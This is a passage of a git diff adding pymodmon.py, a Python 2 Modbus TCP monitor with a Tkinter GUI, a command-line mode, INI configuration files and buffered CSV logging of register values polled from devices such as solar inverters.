client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + 